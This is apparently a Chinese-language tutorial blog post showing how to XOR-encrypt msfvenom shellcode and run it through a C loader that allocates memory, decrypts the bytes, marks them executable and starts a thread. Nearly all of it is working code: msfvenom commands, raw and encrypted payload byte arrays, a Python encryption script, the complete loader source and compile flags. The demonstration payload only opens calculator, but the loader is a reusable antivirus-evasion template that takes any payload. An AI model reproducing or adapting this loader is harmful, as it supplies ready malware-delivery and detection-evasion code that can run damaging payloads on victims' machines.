XOR混淆shellcode

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内容 隐藏
1 初步代码
2 加密shellcode

系列文章来自https://cocomelonc.github.io

初步代码

msfvenom生成shellcode

msfvenom -p windows/x64/exec CMD=calc.exe -f c
#include <Windows.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

unsigned char payload_string[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";

unsigned int payload_len = sizeof(payload_string);

int main() {
    void* payload_memory;
    bool rv;
    HANDLE th;
    DWORD oldprotect = 0;

    payload_memory = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlMoveMemory(payload_memory, payload_string, payload_len);

    rv = VirtualProtect(payload_memory, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    if (rv != 0) {
        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)payload_memory, 0, 0, 0);
        WaitForSingleObject(th, -1);
    }
    return 0;
}

常规编译image-20230220215937439

编译命令

x86_64-w64-mingw32-g++.exe .\ConsoleApplication1.cpp -o hei.exe -s -ffunction-sections -fdata-sections -Wno-write-strings-fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

image-20230220215943294

image-20230220220300552

加密shellcode

msf生成raw

msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin

xor加密

import sys
import os
import hashlib
import string

def xor(data, key): //文件内容XOR
    key = str(key)
    l = len(key)
    output_str = ""

    for i in range(len(data)):
        current = data[i]
        current_key = key[i % len(key)]
        ordd = lambda x: x if isinstance(x, int) else ord(x)
        output_str += chr(ordd(current) ^ ord(current_key))
    return output_str

def xor_encrypt(data, key): //形成格式正确的shellcode传入unsigned char my_payload[]
    ciphertext = xor(data, key)
    ciphertext = '{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };'
    print (ciphertext)
    return ciphertext, key

my_secret_key = "mysupersecretkey"

plaintext = open("../calc.bin", "rb").read()

ciphertext, p_key = xor_encrypt(plaintext, my_secret_key)

得到xor后的payload

{ 0x91, 0x31, 0xf0, 0x91, 0x80, 0x8d, 0xb2, 0x73, 0x65, 0x63, 0x33, 0x34, 0x35, 0x3b, 0x37, 0x28, 0x3b, 0x31, 0x42, 0xa7, 0x15, 0x2d, 0xf9, 0x21, 0x5, 0x2b, 0xf9, 0x37, 0x6c, 0x23, 0xee, 0x2b, 0x4d, 0x31, 0xf8, 0x7, 0x20, 0x2d, 0x7d, 0xc4, 0x2f, 0x29, 0x3f, 0x54, 0xbd, 0x23, 0x54, 0xb9, 
0xc1, 0x45, 0x12, 0x9, 0x72, 0x49, 0x52, 0x32, 0xa4, 0xaa, 0x7f, 0x24, 0x75, 0xaa, 0x87, 0x94, 0x3f, 0x38, 0x22, 0x3d, 0xfb, 0x37, 0x52, 0xf8, 0x27, 0x5f, 0x3a, 0x64, 0xa4, 0xe0, 0xe5, 0xf1, 0x6d, 0x79, 0x73, 0x3d, 0xf5, 0xa5, 0x6, 0x14, 0x2d, 0x62, 0xa2, 0x35, 0xff, 0x23, 0x7d, 0x3d, 0xe6, 0x39, 0x53, 0x3c, 0x71, 0xb5, 0x91, 0x25, 0x2d, 0x9c, 0xbb, 0x24, 0xff, 0x5f, 0xed, 0x31, 0x6c, 0xaf, 0x3e, 0x44, 0xb9, 0x2d, 0x43, 0xb3, 0xc9, 0x22, 0xb3, 0xac, 0x79, 0x2a, 0x64, 0xb8, 0x55, 0x99, 0x6, 0x84, 0x3c, 0x66, 0x3e, 0x57, 0x6d, 0x26, 0x4b, 0xb4, 0x1, 0xb3, 0x3d, 0x3d, 0xe6, 0x39, 0x57, 0x3c, 0x71, 0xb5, 0x14, 0x32, 0xee, 0x6f, 0x3a, 0x21, 0xff, 0x2b, 0x79, 0x30, 0x6c, 0xa9, 0x32, 0xfe, 0x74, 0xed, 0x3a, 0x72, 0xb5, 0x22, 0x2a, 0x24, 0x2c, 0x35, 0x3c, 0x23, 0x2c, 0x21, 0x32, 0x2c, 0x31, 0x3f, 0x3a, 0xf0, 0x89, 0x43, 0x33, 0x37, 0x8b, 0x8b, 0x3d, 0x38, 0x34, 0x23, 0x3b, 0xfe, 0x62, 0x8c, 0x25, 0x8c, 0x9a, 0x9c, 0x2f, 0x2d, 0xce, 0x6a, 0x65, 0x79, 0x6d, 0x79, 0x73, 0x75, 0x70, 0x2d, 0xff, 0xfe, 0x64, 0x62, 0x72, 0x65, 0x35, 0xd1, 0x54, 0xf2, 0x2, 0xfe, 0x8c, 0xa0, 0xcb, 0x95, 0xc7, 0xd1, 0x33, 0x22, 0xc8, 0xc3, 0xe1, 0xd6, 0xf8, 0x86, 0xb8, 0x31, 0xf0, 0xb1, 0x58, 0x59, 0x74, 0xf, 0x6f, 0xe3, 0x89, 0x85, 0x1, 0x6e, 0xde, 0x3e, 0x7e, 0xb, 0x1c, 0x1f, 0x70, 0x3c, 0x33, 0xfa, 0xbf, 0x9c, 0xa7, 0x6, 0x15, 0x7, 0x6, 0x57, 0x8, 0x1, 0x16, 0x75 };

在原始代码基础上增加解XOR

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
  int j;
  j = 0;
  for (int i = 0; i < data_len; i++) {
    if (j == key_len - 1) j = 0;
    data[i] = data[i] ^ key[j];
    j++;
  }
}

在注入shellcode之前还原

XOR((char *) my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key));

完整代码

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char my_payload[] = { 0x91, 0x31, 0xf0, 0x91, 0x80, 0x8d, 0xb2, 0x73, 0x65, 0x63, 0x33, 0x34, 0x35, 0x3b, 0x37, 0x28, 0x3b, 0x31, 0x42, 0xa7, 0x15, 0x2d, 0xf9, 0x21, 0x5, 0x2b, 0xf9, 0x37, 0x6c, 0x23, 0xee, 0x2b, 0x4d, 0x31, 0xf8, 0x7, 0x20, 0x2d, 0x7d, 0xc4, 0x2f, 0x29, 0x3f, 0x54, 0xbd, 0x23, 0x54, 0xb9, 0xc1, 0x45, 0x12, 0x9, 0x72, 0x49, 0x52, 0x32, 0xa4, 0xaa, 0x7f, 0x24, 0x75, 0xaa, 0x87, 0x94, 0x3f, 0x38, 0x22, 0x3d, 0xfb, 0x37, 0x52, 0xf8, 0x27, 0x5f, 0x3a, 0x64, 0xa4, 0xe0, 0xe5, 0xf1, 0x6d, 0x79, 0x73, 0x3d, 0xf5, 0xa5, 0x6, 0x14, 0x2d, 0x62, 0xa2, 0x35, 0xff, 0x23, 0x7d, 0x3d, 0xe6, 0x39, 0x53, 0x3c, 0x71, 0xb5, 0x91, 0x25, 0x2d, 0x9c, 0xbb, 0x24, 0xff, 0x5f, 0xed, 0x31, 0x6c, 0xaf, 0x3e, 0x44, 0xb9, 0x2d, 0x43, 0xb3, 0xc9, 0x22, 0xb3, 0xac, 0x79, 0x2a, 0x64, 0xb8, 0x55, 0x99, 0x6, 0x84, 0x3c, 0x66, 0x3e, 0x57, 0x6d, 0x26, 0x4b, 0xb4, 0x1, 0xb3, 0x3d, 0x3d, 0xe6, 0x39, 0x57, 0x3c, 0x71, 0xb5, 0x14, 0x32, 0xee, 0x6f, 0x3a, 0x21, 0xff, 0x2b, 0x79, 0x30, 0x6c, 0xa9, 0x32, 0xfe, 0x74, 0xed, 0x3a, 0x72, 0xb5, 0x22, 0x2a, 0x24, 0x2c, 0x35, 0x3c, 0x23, 0x2c, 0x21, 0x32, 0x2c, 0x31, 0x3f, 0x3a, 0xf0, 0x89, 0x43, 0x33, 0x37, 0x8b, 0x8b, 0x3d, 0x38, 0x34, 0x23, 0x3b, 0xfe, 0x62, 0x8c, 0x25, 0x8c, 0x9a, 0x9c, 0x2f, 0x2d, 0xce, 0x6a, 0x65, 0x79, 0x6d, 0x79, 0x73, 0x75, 0x70, 0x2d, 0xff, 0xfe, 0x64, 0x62, 0x72, 0x65, 0x35, 0xd1, 0x54, 0xf2, 0x2, 0xfe, 0x8c, 0xa0, 0xcb, 0x95, 0xc7, 0xd1, 0x33, 0x22, 0xc8, 0xc3, 0xe1, 0xd6, 0xf8, 0x86, 0xb8, 0x31, 0xf0, 0xb1, 0x58, 0x59, 0x74, 0xf, 0x6f, 0xe3, 0x89, 0x85, 0x1, 0x6e, 0xde, 0x3e, 0x7e, 0xb, 0x1c, 0x1f, 0x70, 0x3c, 0x33, 0xfa, 0xbf, 0x9c, 0xa7, 0x6, 0x15, 0x7, 0x6, 0x57, 0x8, 0x1, 0x16, 0x75 };
unsigned int my_payload_len = sizeof(my_payload);

// key for XOR decrypt
char my_secret_key[] = "mysupersecretkey";

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
  int j;
  j = 0;
  for (int i = 0; i < data_len; i++) {
    if (j == key_len - 1) j = 0;
    data[i] = data[i] ^ key[j];
    j++;
  }
}

int main(void) {
  void * my_payload_mem;
  BOOL rv;
  HANDLE th;
  DWORD oldprotect = 0;

  my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

  XOR((char *) my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key));

  RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);

  rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
  if ( rv != 0 ) {
    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
    WaitForSingleObject(th, -1);
  }
  return 0;
}

效果：

image-20230221205213682

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